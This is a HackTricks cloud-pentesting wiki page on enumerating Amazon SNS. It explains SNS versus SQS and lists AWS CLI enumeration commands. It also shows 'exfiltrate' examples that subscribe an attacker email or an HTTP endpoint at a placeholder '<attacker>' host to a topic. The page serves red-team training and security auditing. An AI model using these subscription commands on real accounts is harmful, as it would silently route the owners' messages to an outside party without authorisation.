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107 lines
6.1 KiB
Markdown
107 lines
6.1 KiB
Markdown
# AWS - SNS Enum
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## SNS
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Amazon Simple Notification Service (Amazon SNS) is described as a **fully managed messaging service**. It supports both **application-to-application** (A2A) and **application-to-person** (A2P) communication types.
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Key features for A2A communication include **publish/subscribe (pub/sub) mechanisms**. These mechanisms introduce **topics**, crucial for enabling high-throughput, **push-based, many-to-many messaging**. This feature is highly advantageous in scenarios that involve distributed systems, microservices, and event-driven serverless architectures. By leveraging these topics, publisher systems can efficiently distribute messages to a **wide range of subscriber systems**, facilitating a fanout messaging pattern.
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### **Difference with SQS**
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**SQS** is a **queue-based** service that allows point-to-point communication, ensuring that messages are processed by a **single consumer**. It offers **at-least-once delivery**, supports standard and FIFO queues, and allows message retention for retries and delayed processing.\
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On the other hand, **SNS** is a **publish/subscribe-based service**, enabling **one-to-many** communication by broadcasting messages to **multiple subscribers** simultaneously. It supports **various subscription endpoints like email, SMS, Lambda functions, and HTTP/HTTPS**, and provides filtering mechanisms for targeted message delivery.\
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While both services enable decoupling between components in distributed systems, SQS focuses on queued communication, and SNS emphasizes event-driven, fan-out communication patterns.
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### **Enumeration**
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```bash
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# Get topics & subscriptions
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aws sns list-topics
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aws sns list-subscriptions
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aws sns list-subscriptions-by-topic --topic-arn <arn>
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# Check privescs & post-exploitation
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aws sns publish --region <region> \
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--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
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--message file://message.txt
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# Exfiltrate through email
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## You will receive an email to confirm the subscription
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aws sns subscribe --region <region> \
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--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
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--protocol email \
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--notification-endpoint my-email@example.com
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# Exfiltrate through web server
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## You will receive an initial request with a URL in the field "SubscribeURL"
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## that you need to access to confirm the subscription
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aws sns subscribe --region <region>\
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--protocol http \
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--notification-endpoint http://<attacker>/ \
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--topic-arn <arn>
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```
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{% hint style="danger" %}
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Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used (HTTP or HTTPS cannot be used).
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Also, even if the `--topic-arn` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region.
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{% endhint %}
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#### Unauthenticated Access
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{% content-ref url="../aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md" %}
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[aws-sns-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md)
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{% endcontent-ref %}
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#### Privilege Escalation
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{% content-ref url="../aws-privilege-escalation/aws-sns-privesc.md" %}
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[aws-sns-privesc.md](../aws-privilege-escalation/aws-sns-privesc.md)
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{% endcontent-ref %}
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#### Post Exploitation
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{% content-ref url="../aws-post-exploitation/aws-sns-post-exploitation.md" %}
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[aws-sns-post-exploitation.md](../aws-post-exploitation/aws-sns-post-exploitation.md)
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{% endcontent-ref %}
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#### Persistence
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{% content-ref url="../aws-persistence/aws-sns-persistence.md" %}
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[aws-sns-persistence.md](../aws-persistence/aws-sns-persistence.md)
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{% endcontent-ref %}
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## References
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* [https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/](https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/)
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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